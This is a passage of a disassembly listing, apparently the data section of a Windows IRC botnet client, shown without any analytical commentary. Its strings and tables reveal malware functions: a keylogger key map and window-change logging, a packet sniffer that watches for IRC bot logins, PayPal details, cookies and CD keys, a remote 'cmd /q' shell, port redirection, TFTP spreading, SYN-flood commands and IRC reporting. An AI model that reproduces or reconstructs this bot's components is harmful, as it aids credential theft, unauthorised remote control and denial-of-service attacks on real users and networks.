db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
; char aHttp1_0200OkSe[]
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F531+D4o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40F531+98o
; sub_41AA43+1AEo
align 4
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F531+84o
align 4
; char aApplicationOct[]
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40F531:loc_40F597o
align 4
aTextHtml db 'text/html',0 ; DATA XREF: sub_40F531+5Fo
align 4
; char asc_434134[]
asc_434134 db '-' ; DATA XREF: sub_40F6B4+296o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_37 db ' failed to start worker thread, error %d',0
align 4
; char asc_43416C[]
asc_43416C db '-' ; DATA XREF: sub_40F6B4+212o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aWorkerThreadOf db ' worker thread of server thread: %d.',0
align 10h
; char asc_4341A0[]
asc_4341A0 db '*',0 ; DATA XREF: sub_40F6B4+15Ao
align 4
aS_9 db '\%s',0 ; DATA XREF: sub_40F6B4+2Fo
; char aFoundIFilesAnd[]
aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: sub_40F96B+652o
align 10h
; char aTrTdColspan3_0[]
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96B+637o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 4
; char aPrivmsgSFoundS[]
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: sub_40F96B+61Co
align 4
; char a31s21sIBytes[]
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+58Do
align 4
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96B+571o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
; char aCodeSCodeA_0[]
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96B:loc_40FE93o
align 4
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96B+521o
align 4
; char aPrivmsgS31s2_0[]
aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96B+46Eo
align 4
; char a31s21s[]
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+42Fo
align 4
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96B+3F9o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
; char aCodeSCodeA[]
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96B:loc_40FD25o
align 4
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96B+3B3o
align 4
; char aSS_4[]
aSS_4 db '%s%s/',0 ; DATA XREF: sub_40F96B+36Co
align 4
; char aTrTdWidthDAHre[]
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96B+328o
; sub_40F96B+496o
db '<TD WIDTH="%d"><A HREF="',0
align 4
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_40F96B+310o
align 10h
; char aS_2[]
aS_2 db '<%s>',0 ; DATA XREF: sub_40F96B+2E9o
; sub_40F96B+40Bo
align 4
; char a2_2d2_2d4d2_2d[]
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96B+2BFo
aAm db 'AM',0 ; DATA XREF: sub_40F96B+295o
align 4
aPm_0 db 'PM',0 ; DATA XREF: sub_40F96B+28Ao
align 10h
; char a__[]
a__ db '..',0 ; DATA XREF: sub_40F96B+237o
align 4
; char aTrTdColspan3AH[]
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96B+1C5o
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
; char aSearchingForS[]
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+149o
; char aTrTdColspan3Hr[]
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96B+12Do
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
; char aTrTdWidthDCode[]
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96B+F9o
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
; char aH1IndexOfSH1Ta[]
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96B+AEo
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 10h
; char aHtmlHeadTitleI[]
aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_40F96B+79o
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 10h
; char aPrivmsgSSearch[]
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+4Bo
; char aSSHttp1_1Refer[]
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DC+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
; char asc_434648[]
asc_434648 db '-' ; DATA XREF: sub_4101FD+171o
db 3, 34h, 2
dd 6E656469h, 3026474h
aServerFailed_0 db '- server failed, returned %d',0
align 4
; char aUseridUnixS[]
aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_4101FD+116o
; char asc_43468C[]
asc_43468C db '-' ; DATA XREF: sub_4101FD+BBo
db 3, 34h, 2
dd 6E656469h, 3026474h
aClientConnecti db '- client connection from %s:%d.',0
; char asc_4346B8[]
asc_4346B8 db '-' ; DATA XREF: sub_4103AB+15Eo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToSta_38 db 'Failed to start client thread, error: <%d>.',0
; char asc_4346F4[]
asc_4346F4 db '-' ; DATA XREF: sub_4103AB+E9o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0
align 4
; char asc_43473C[]
asc_43473C db '-' ; DATA XREF: sub_41053C+1AAo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aFailedToSta_39 db 'Failed to start connection thread, error: <%d>.',0
; char asc_43477C[]
asc_43477C db '-' ; DATA XREF: sub_41053C+E1o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0
align 10h
; char asc_4347C0[]
asc_4347C0 db '-' ; DATA XREF: sub_4107C0+1E9o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedOutS db '- User logged out: <%s@%s>.',0
align 4
; char asc_4347EC[]
asc_4347EC db '-' ; DATA XREF: sub_4107C0+1C2o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorSessionru db '- Error: SessionRun(): <%d>.',0
align 4
; char asc_434818[]
asc_434818 db '-' ; DATA XREF: sub_4107C0+1A2o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedInS@ db '- User logged in: <%s@%s>.',0
aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: sub_4107C0+172o
align 4
; char asc_434854[]
asc_434854 db '-' ; DATA XREF: sub_4107C0+E1o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorGetpeerna db '- Error: getpeername(): <%d>.',0
align 10h
; char asc_434880[]
asc_434880 db '-' ; DATA XREF: sub_4109C5:loc_410A0Ao
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aProtocolString db '- Protocol string too long.',0
align 4
; char asc_4348AC[]
asc_4348AC db '-' ; DATA XREF: sub_410A1F+1Bo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aLoginRejectedR db '- Login rejected, Remote user: <%s@%s>.',0
align 4
; char asc_4348E4[]
asc_4348E4 db '-' ; DATA XREF: sub_410A4E+219o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorServerFai db '- Error: server failed, returned: <%d>.',0
align 4
; char asc_43491C[]
asc_43491C db '-' ; DATA XREF: sub_410A4E+1FBo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToSta_40 db '- Failed to start client thread, error: <%d>.',0
align 4
; char asc_434958[]
asc_434958 db '-' ; DATA XREF: sub_410A4E+177o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aClientConnec_2 db '- Client connection from IP: %s:%d, Server thread: %d.',0
unk_43499C db 2Dh ; - ; DATA XREF: sub_410A4E+106o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aReadyAndWaitin db '- Ready and waiting for incoming connections.',0
align 4
; char asc_4349D8[]
asc_4349D8 db '-' ; DATA XREF: sub_410A4E+70o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToInstal db '- Failed to install control-C handler, error: <%d>.',0
align 4
; char asc_434A1C[]
asc_434A1C db '-' ; DATA XREF: sub_410A4E+3Do
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0
align 4
; char asc_434A48[]
asc_434A48 db '-' ; DATA XREF: sub_410CD6+DEo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0
align 4
; char asc_434A7C[]
asc_434A7C db '-' ; DATA XREF: sub_410CD6+59o
; sub_410CD6+8Bo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0
align 4
unk_434AC4 db 2Dh ; - ; DATA XREF: sub_410E27+AFo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExecut db '- Failed to execute shell.',0
; char asc_434AEC[]
asc_434AEC db '-' ; DATA XREF: sub_410E27+7Eo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0
align 4
unk_434B2C db 2Dh ; - ; DATA XREF: sub_410E27+5Co
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0
; char asc_434B6C[]
asc_434B6C db '-' ; DATA XREF: sub_410F20+C3o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0
align 4
aCmdQ db 'cmd /q',0 ; DATA XREF: sub_410F20+8Co
align 4
; char asc_434BAC[]
asc_434BAC db '-' ; DATA XREF: sub_410FF9+A1o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aSessionreadshe db '- SessionReadShellThread exited, error: <%ld>.',0
; char asc_434BE8[]
asc_434BE8 db '-' ; DATA XREF: sub_4111CE+1B2o
db 3, 34h, 2
dd 6B636F73h, 3023473h
aFailedToSta_41 db '- Failed to start server on Port %d.',0
align 4
; char asc_434C1C[]
asc_434C1C db '-' ; DATA XREF: sub_4111CE+18Fo
db 3, 34h, 2
dd 6B636F73h, 3023473h
aFailedToSta_42 db '- Failed to start client thread, error: <%d>.',0
align 4
; char asc_434C58[]
asc_434C58 db '-' ; DATA XREF: sub_4111CE+114o
db 3, 34h, 2
dd 6B636F73h, 3023473h
aClientConnec_3 db '- Client connection from IP: %s:%d, Server thread: %d.',0
align 4
; char dword_434C9C[]
dword_434C9C dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_4113D3+1F9o
aErrorFailedToC db '- Error: Failed to connect to target, returned: <%d>.',0
align 10h
; char dword_434CE0[]
dword_434CE0 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_4113D3+18Ao
aErrorFailedToO db '- Error: Failed to open socket(), returned: <%d>.',0
align 10h
; char dword_434D20[]
dword_434D20 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_4113D3+F2o
aAuthentication db '- Authentication failed. Remote userid: %s != %s.',0
align 10h
dword_434D60 dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_411797+41Co
; char aTftpTransferCo[]
aTftpTransferCo db 'Tftp transfer complete to: %s',0 ; DATA XREF: sub_411797+3C4o
align 4
; char aTftpTransferSt[]
aTftpTransferSt db 'Tftp transfer started to: %s',0 ; DATA XREF: sub_411797+2CDo
align 10h
dw 8
unicode 0, <>,0
aB_0: ; DATA XREF: sub_411CF5:loc_411DD8o
unicode 0, <b>,0
dd 62000000h, 2 dup(0)
dd 0Dh, 65h, 65000000h, 2 dup(0)
dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0
dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0
dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0
dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0
dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0
dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0
dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0
dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0
dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0
dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0
dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0
dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0
dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0
dd 0C0h, 60h, 7E000000h, 2 dup(0)
dd 2 dup(31h), 21000000h, 2 dup(0)
dd 2 dup(32h), 40000000h, 2 dup(0)
dd 2 dup(33h), 23000000h, 2 dup(0)
dd 2 dup(34h), 24000000h, 2 dup(0)
dd 2 dup(35h), 25000000h, 2 dup(0)
dd 2 dup(36h), 5E000000h, 2 dup(0)
dd 2 dup(37h), 26000000h, 2 dup(0)
dd 2 dup(38h), 2A000000h, 2 dup(0)
dd 2 dup(39h), 28000000h, 2 dup(0)
dd 2 dup(30h), 29000000h, 2 dup(0)
dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
dd 51h, 71h, 51000000h, 2 dup(0)
dd 57h, 77h, 57000000h, 2 dup(0)
dd 45h, 65h, 45000000h, 2 dup(0)
dd 52h, 72h, 52000000h, 2 dup(0)
dd 54h, 74h, 54000000h, 2 dup(0)
dd 59h, 79h, 59000000h, 2 dup(0)
dd 55h, 75h, 55000000h, 2 dup(0)
dd 49h, 69h, 49000000h, 2 dup(0)
dd 4Fh, 6Fh, 4F000000h, 2 dup(0)
dd 50h, 70h, 50000000h, 2 dup(0)
dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
dd 0DDh, 0
dd 7D000000h, 2 dup(0)
dd 41h, 61h, 61000000h, 2 dup(0)
dd 53h, 73h, 53000000h, 2 dup(0)
dd 44h, 64h, 44000000h, 2 dup(0)
dd 46h, 66h, 46000000h, 2 dup(0)
dd 47h, 67h, 47000000h, 2 dup(0)
dd 48h, 68h, 48000000h, 2 dup(0)
dd 4Ah, 6Ah, 4A000000h, 2 dup(0)
dd 4Bh, 6Bh, 4B000000h, 2 dup(0)
dd 4Ch, 6Ch, 4C000000h, 2 dup(0)
dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
dd 0DEh, 27h, 22000000h, 2 dup(0)
dd 5Ah, 7Ah, 5A000000h, 2 dup(0)
dd 58h, 78h, 58000000h, 2 dup(0)
dd 43h, 63h, 43000000h, 2 dup(0)
dd 56h, 76h, 56000000h, 2 dup(0)
dd 42h, 62h, 42000000h, 2 dup(0)
dd 4Eh, 6Eh, 4E000000h, 2 dup(0)
dword_435238 dd 4Dh, 6Dh, 4D000000h, 2 dup(0)
dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
dd 5B00005Dh, 5D4E4957h, 0
dd 2 dup(20h), 20000000h, 2 dup(0)
dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0
dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
dd 5D534E49h, 0
dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
dd 5D4C4544h, 0
dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0
dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
dd 5D5055h, 0
dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0)
dd 6Ah, 2Ah, 2A000000h, 2 dup(0)
dd 6Dh, 2Dh, 2D000000h, 2 dup(0)
dd 6Bh, 2Bh, 2B000000h, 2 dup(0)
dd 60h, 30h, 30000000h, 2 dup(0)
dd 61h, 31h, 31000000h, 2 dup(0)
dd 62h, 32h, 32000000h, 2 dup(0)
dd 63h, 33h, 33000000h, 2 dup(0)
dd 64h, 34h, 34000000h, 2 dup(0)
dd 65h, 35h, 35000000h, 2 dup(0)
dd 66h, 36h, 36000000h, 2 dup(0)
dd 67h, 37h, 37000000h, 2 dup(0)
dd 68h
dword_4354E4 dd 38h, 38000000h, 2 dup(0) ; DATA XREF: sub_411CF5+2B6o
dd 69h, 39h, 39000000h, 2 dup(0)
dd 6Eh, 2Eh, 2E000000h, 2 dup(0)
; char asc_43551C[]
asc_43551C db '-' ; DATA XREF: sub_411C14+AEo
db 3, 34h, 2
dd 6C79656Bh, 302676Fh, 7325202Dh, 0
; char aDDDDDDS[]
aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_411C14+88o
align 4
; char asc_43554C[]
asc_43554C: ; DATA XREF: sub_411C14+2Co
unicode 0, <\>,0
; char aSReturnS[]
aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_411CF5+228o
align 4
aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_411CF5+1E5o
align 4
; char aSChangedWindow[]
aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_411CF5+8Fo
align 4
off_435598 dd offset dword_435E10 ; DATA XREF: sub_411FD6+2B9r
dd offset off_435E0C
dd offset aFtp ; "FTP"
dd offset aHttp_0 ; "HTTP"
; char a_login[]
a_login db ':.login',0 ; DATA XREF: sub_411FD6+1DEo
dd 3 dup(0)
dword_4355BC dd 0 ; DATA XREF: sub_411FD6+2B2r
aLogin_2 db ':,login',0
dd 4 dup(0)
aLogin_3 db ':!login',0
dd 4 dup(0)
a@login db ':@login',0
dd 4 dup(0)
aLogin_4 db ':$login',0
dd 4 dup(0)
aLogin_5 db ':%login',0
dd 4 dup(0)
aLogin_6 db ':^login',0
dd 4 dup(0)
aLogin_7 db ':&login',0
dd 4 dup(0)
aLogin_8 db ':*login',0
dd 4 dup(0)
aLogin_9 db ':-login',0
dd 4 dup(0)
aLogin_10 db ':+login',0
dd 4 dup(0)
aLogin_11 db ':/login',0
dd 4 dup(0)
aLogin_12 db ':\login',0
dd 4 dup(0)
aLogin_13 db ':=login',0
dd 4 dup(0)
a?login db ':?login',0
dd 4 dup(0)
aLogin_14 db ':',27h,'login',0
dd 4 dup(0)
aLogin_15 db ':`login',0
dd 4 dup(0)
aLogin_16 db ':~login',0
dd 4 dup(0)
aLogin_17 db ': login',0
dd 4 dup(0)
a_auth db ':.auth',0
align 4
dd 4 dup(0)
aAuth db ':,auth',0
align 10h
dd 4 dup(0)
aAuth_0 db ':!auth',0
align 4
dd 4 dup(0)
a@auth db ':@auth',0
align 10h
dd 4 dup(0)
aAuth_1 db ':$auth',0
align 4
dd 4 dup(0)
aAuth_2 db ':%auth',0
align 10h
dd 4 dup(0)
aAuth_3 db ':^auth',0
align 4
dd 4 dup(0)
aAuth_4 db ':&auth',0
align 10h
dd 4 dup(0)
aAuth_5 db ':*auth',0
align 4
dd 4 dup(0)
aAuth_6 db ':-auth',0
align 10h
dd 4 dup(0)
aAuth_7 db ':+auth',0
align 4
dd 4 dup(0)
aAuth_8 db ':/auth',0
align 10h
dd 4 dup(0)
aAuth_9 db ':\auth',0
align 4
dd 4 dup(0)
aAuth_10 db ':=auth',0
align 10h
dd 4 dup(0)
a?auth db ':?auth',0
align 4
dd 4 dup(0)
aAuth_11 db ':',27h,'auth',0
align 10h
dd 4 dup(0)
aAuth_12 db ':`auth',0
align 4
dd 4 dup(0)
aAuth_13 db ':~auth',0
align 10h
dd 4 dup(0)
aAuth_14 db ': auth',0
align 4
dd 4 dup(0)
a_id db ':.id',0
align 10h
dd 4 dup(0)
aId_0 db ':,id',0
align 4
dd 4 dup(0)
aId_1 db ':!id',0
align 10h
dd 4 dup(0)
a@id db ':@id',0
align 4
dd 4 dup(0)
aId_2 db ':$id',0
align 10h
dd 4 dup(0)
aId_3 db ':%id',0
align 4
dd 4 dup(0)
aId_4 db ':^id',0
align 10h
dd 4 dup(0)
aId_5 db ':&id',0
align 4
dd 4 dup(0)
aId_6 db ':*id',0
align 10h
dd 4 dup(0)
aId_7 db ':-id',0
align 4
dd 4 dup(0)
aId_8 db ':+id',0
align 10h
dd 4 dup(0)
aId_9 db ':/id',0
align 4
dd 4 dup(0)
aId_10 db ':\id',0
align 10h
dd 4 dup(0)
aId_11 db ':=id',0
align 4
dd 4 dup(0)
a?id db ':?id',0
align 10h
dd 4 dup(0)
aId_12 db ':',27h,'id',0
align 4
dd 4 dup(0)
aId_13 db ':`id',0
align 10h
dd 4 dup(0)
aId_14 db ':~id',0
align 4
dd 4 dup(0)
aId_15 db ': id',0
align 10h
dd 4 dup(0)
a_hashin_0 db ':.hashin',0
align 4
dd 3 dup(0)
aHashin_0 db ':!hashin',0
align 10h
aHashin_1 db ':$hashin',0
align 4
dd 3 dup(0)
aHashin_2 db ':%hashin',0
align 10h
a_secure db ':.secure',0
align 4
dd 3 dup(0)
aSecure_1 db ':!secure',0
align 10h
a_l db ':.l',0
dd 5 dup(0)
dd 6C213Ah, 5 dup(0)
dd 6C243Ah, 5 dup(0)
dd 6C253Ah, 5 dup(0)
dd 782E3Ah, 5 dup(0)
dd 78213Ah, 5 dup(0)
dd 78243Ah, 5 dup(0)
dd 78253Ah, 5 dup(0)
a_syn db ':.syn',0
align 4
dd 4 dup(0)
aSyn_0 db ':!syn',0
align 10h
dd 4 dup(0)
aSyn_1 db ':$syn',0
align 4
dd 4 dup(0)
aSyn_2 db ':%syn',0
align 10h
dd 4 dup(0)
aCdkey db ' CDKey ',0
dd 4 dup(0)
aJoin_1 db 'JOIN #',0
align 10h
dd 3 dup(0)
dd 1, 4B43494Eh, 20h, 3 dup(0)
dd 1, 5245504Fh, 20h, 3 dup(0)
dd 1, 7265706Fh, 20h, 3 dup(0)
dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
dd 1, 52455355h, 20h, 3 dup(0)
dd 2, 53534150h, 20h, 3 dup(0)
dd 2, 70796170h, 6C61h, 3 dup(0)
dd 3, 50594150h, 4C41h, 3 dup(0)
dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
dd 3, 6 dup(0)
aHttp_0 db 'HTTP',0 ; DATA XREF: .data:004355A4o
align 4
aFtp db 'FTP',0 ; DATA XREF: .data:004355A0o
off_435E0C dd offset dword_435238+11h ; DATA XREF: .data:0043559Co
dword_435E10 dd 544F42h ; DATA XREF: .data:off_435598o
; char asc_435E14[]
asc_435E14 db '-' ; DATA XREF: sub_411FD6+317o
db 3, 34h, 2
dd 696E7370h, 3026666h
aRecvFailedRetu db '- recv() failed, returned %d',0
align 10h
; char asc_435E40[]
asc_435E40 db '-' ; DATA XREF: sub_411FD6+2C6o
db 3, 34h, 2
dd 696E7370h, 3026666h
aSuspiciousSPac db '- suspicious %s packet from: %s:%d - %s',0
; char asc_435E74[]
asc_435E74 db '-' ; DATA XREF: sub_411FD6+24Co
db 3, 34h, 2
dd 696E7370h, 3026666h, 2Dh
; char aPsniff_0[]
aPsniff_0 db '[PSNIFF]',0 ; DATA XREF: sub_411FD6+235o
align 10h
; char asc_435E90[]
asc_435E90 db '-' ; DATA XREF: sub_411FD6+186o
db 3, 34h, 2
dd 696E7370h, 3026666h
aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0
align 10h
; char asc_435EC0[]
asc_435EC0 db '-' ; DATA XREF: sub_411FD6+103o
db 3, 34h, 2
dd 696E7370h, 3026666h
aBindFailedRetu db '- bind() failed, returned %d',0
align 4
; char asc_435EEC[]
asc_435EEC db '-' ; DATA XREF: sub_411FD6+85o
db 3, 34h, 2
dd 696E7370h, 3026666h
aSocketFailedRe db '- socket() failed, returned %d',0
align 4
; char aHashin[]
aHashin db ':!hashin',0 ; DATA XREF: sub_412361+103o
align 4
; char a_hashin[]
a_hashin db ':.hashin',0 ; DATA XREF: sub_412361+EEo
align 10h
; char aIdent_0[]
aIdent_0 db ':!ident',0 ; DATA XREF: sub_412361+D9o
; char a_ident[]
a_ident db ':.ident',0 ; DATA XREF: sub_412361+C8o
; char a_login_1[]
a_login_1 db ':.Login',0 ; DATA XREF: sub_412361+B7o
; char aLogin_1[]
